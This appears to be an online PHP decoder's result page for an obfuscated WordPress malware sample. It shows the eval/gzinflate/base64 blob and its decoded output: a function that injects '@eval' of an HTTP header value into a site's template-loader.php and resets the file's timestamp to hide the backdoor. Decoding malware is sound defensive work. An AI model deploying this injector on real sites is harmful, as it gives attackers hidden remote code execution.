Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval(gzinflate(base64_decode("jVJrb9owFP3Or8gkpIBaTUkYUDRVW6ENEB5peSSBaUKJ7YDBsUPi8Jr63+fw..
Decoded Output download
phpConfValidate('YTo0OntpOjA7czo3MDoiL2hvbWUxL2FobWVkL3B1YmxpY19odG1sL3ZlZWt1d2FpdC5jb20vd3AtaW5jbHVkZXMvdGVtcGxhdGUtbG9hZGVyLnBocCI7aToxO3M6OTg6In5ldmFsW15cKFxuXHJdKlwoW15cJF0qXCRfW0EtWl17Nn1bXlxbXSpcW1teXCdcIl0qW1wnXCJdSFRUUF82MjBFRDk1W1wnXCJdW15cXV0qXF1bXlwpXSpcKVteO10qO35zIjtpOjI7czozMjoiQGV2YWwoJF9TRVJWRVJbJ0hUVFBfNjIwRUQ5NSddKTsiO2k6MztzOjM1OiJ+XlxzKmlmLippc19yb2JvdHNbXlx7fFw6XSsoXHt8Oil+bSI7fQ==');
function phpConfValidate($ser) {
list ($fullPath, $systemEnv, $code, $pattern) = unserialize(base64_decode($ser));
$source = file_get_contents($fullPath);
if (preg_match($systemEnv, $source)) {
return;
}
if (!preg_match($pattern, $source, $matches)) {
return;
}
$incorrectRegex = str_replace('e' . 'va' . 'l', '@?arr' . 'ay', $systemEnv);
$newSource = preg_replace($incorrectRegex, '', $source);
$newSource = str_replace($matches[0], $code . PHP_EOL . $matches[0], $newSource);
if (!preg_match($systemEnv, $newSource)) {
return;
}
$filemtime = filemtime($fullPath) + 10;
unlink($fullPath);
file_put_contents($fullPath, $newSource);
touch($fullPath, $filemtime);
}
Did this file decode correctly?
Original Code
eval(gzinflate(base64_decode("jVJrb9owFP3Or8gkpIBaTUkYUDRVW6ENEB5peSSBaUKJ7YDBsUPi8Jr63+fw7kPaLDm+ju8599xHJpyFNUZ9yyUYuhzl5NGAKSbloTl/KIMdK3QeGW5rs5VnDzdtTWeebS3ahao6CjbhSK0wWFfjdmFMxjZXoaaHsFace5qygoUH7trCbliLsdNZwbrFQX0zg/Uh9+qV2bhubdu0ykCtWXYHbGMWOiVzMC01aZHAQI9ttQha+iZxGgZskTVL74auLJ1az7eVJ24TtdylqueQjef0Q2CrHDk1CJpEWdrqmjo1A/b13nCo32mdeVXvPS7U0/+Uy7EEl57i12GKb1kcmaqyNAvFXXOe5t9M89915gy/1C1tZK+ZoVcGPcuwxfYMZTa09KrfnTfXveFLsduHsDWIsaktSp0d35nzjmpi40bo27UCErRxGAK1svU0YwUb3VR32dfXJacfM6fB70xMbrx+s+y/3N/L+e8ZP6GAY0al9x3KxijKS38yGUksgmMu5bJ+Qsizy2e3UjbexhwFT3QlbMAgEkfoco4impfupYQKNBZUO5Tz3BiVvk0gSt0OtCJuypqNWRIBJPx9TNBkivgEMMoR5fEl1tEX+1IujNB0ErgczHJv4h9o8qla6bgixJOIHqCvZ4Iv1wxHuWe8MPYvKP4H00E7poBFEQK8h6ZoI3KIeTSJUEhcIMYbydJXSV65+4PIt5L884cbRfuru5WvC3gqBkXr/qkee50nsnehBJd8SfoT8LWQU0q/lN/HRgkFz43nyZPZFtbb5zPJkfXy+VC86/JfYP9Tt7TVAcfBqe17+6rd0o2kKgdYQgmmiw+jsB+WMPlsWD5JgrMkFXzlcY4qPF4zfwE=")));
Function Calls
gzinflate | 1 |
base64_decode | 1 |
phpConfValidate | 1 |
Stats
MD5 | 8c43f32bbb68be521a10a84d7b50e081 |
Eval Count | 1 |
Decode Time | 66 ms |